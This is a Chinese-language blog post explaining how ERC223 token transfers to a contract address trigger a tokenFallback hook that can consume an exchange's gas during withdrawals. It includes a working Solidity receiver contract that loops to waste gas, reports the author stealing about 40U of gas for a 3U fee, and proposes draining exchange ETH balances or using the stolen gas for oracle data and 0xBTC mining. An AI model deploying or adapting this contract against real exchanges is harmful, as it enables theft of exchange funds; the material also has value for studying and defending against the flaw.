ERC223 GAS费窃取问题
ERC223 是一种基于 ERC20 标准的代币,它与 ERC20 不一样的是,如果转账的 receiver 是合约地址,则会调用合约地址的特定函数。这就好像支付宝和微信支付的通知回调接口一样。
if (isUserAddress == false) {ERC223ContractInterface receiver = ERC223ContractInterface(_to);receiver.tokenFallback(msg.sender, _value, _data);}
当然 ERC 677 和 ERC 777 也有类似的问题,不过他们的钩子不在 transfer 方法中,所以对交易所不会造成影响。
Tx.origin的担忧
因此我们能联想到的是如果在 ERC223 中 msg.sender 发送一笔交易,他如果参与了使用 tx.origin 做验证的缺陷合约(代币、理财)那是不是有安全问题。因此为了规避此类安全问题,通常会要求交易所将该币种与其他币种做业务隔离,单独分配一个地址做此项业务。
Estimate Gas
其次是在完成这一类判断以后,仍要注意的是,钱包是否在转账的时是否 estimateGas ,还是设定为一个固定值。如果 estimateGas 则会有问题,他们可以通过提币的方式来窃取你的gas,做更多额外的事情。

EIP1559
在 EIP1559 以后做了一个重大的更新,交易费分为了基本费(base fee)、小费(priority fee)、最高费用(max fee)。并且如果一笔交易你仅用了部分gas,那么将会退还你的部分费用。
用户退款金额=最高费用-(基本费+小费)
在 EIP1559 以后有部分交易所利用了这一特性,直接在每一笔 transfer 中给出了最高费用,100万。

我实际在交易所中支出的提币手续费仅价值 3U ,但是我却窃取到了价值 40 U的 gas。以下是接收合约的代码,只是不断的在浪费gas,通过此脚本可以测算出哪些交易所在 estimateGas 。哪些交易所在 固定gas ,哪些交易所在 gas不够的情况下会追加gas 重新发送交易。
/***Submitted for verification at Etherscan.io on 2022-06-21*/pragma solidity ^0.8.0;/*** @title Contract that will work with ERC223 tokens.*/abstract contract IERC223Recipient {struct ERC223TransferInfo{address token_contract;address sender;uint256 value;bytes data;}ERC223TransferInfo private tkn;uint256 loopnum;/*** @dev Standard ERC223 function that will handle incoming token transfers.** @param _from Token sender address.* @param _value Amount of tokens.* @param _data Transaction metadata.*/function tokenFallback(address _from, uint _value, bytes memory _data) public virtual{/*** @dev Note that inside of the token transaction handler the actual sender of token transfer is accessible via the tkn.sender variable* (analogue of msg.sender for Ether transfers)** tkn.value - is the amount of transferred tokens* tkn.data - is the "metadata" of token transfer* tkn.token_contract is most likely equal to msg.sender because the token contract typically invokes this function*/tkn.token_contract = msg.sender;tkn.sender = _from;tkn.value = _value;tkn.data = _data;for (uint i = 3; i <= loopnum; i++) {require(i-1 > 1);}// ACTUAL CODE}}contract MyContract is IERC223Recipient {function setnum(uint256 num) public {loopnum = num;}}
窃取gas的用途
漏洞的利用场景很值得思考,如果仅是损人不利己,那么似乎是个鸡肋漏洞。虽然在测试中在我提币失败以后,交易所全额退还了我的交易费。这意味着我们可以利用此漏洞在gas高的时候刷光交易所的ETH余额。

预言机场景
100万gas可以做很多事情,通常完成转账只需要10万gas,剩余的90万可以用来做预言机。当然不能作为价格预言机。
transfer(address _to, uint256 _value)
在transfer中 value是可控的,在减去交易所提币手续费后,我们可以用 value 作为一个可控的变量传输数据到区块链链上。
0xBTC
0xBTC是一个链下挖矿,推送ETH链上的Mint的有趣的小币。通常来说一笔 Mint 会在 27w gas左右。如果漏洞利用得当,你将获得比寻常矿工更低的成本。

浙公网安备 33010602011771号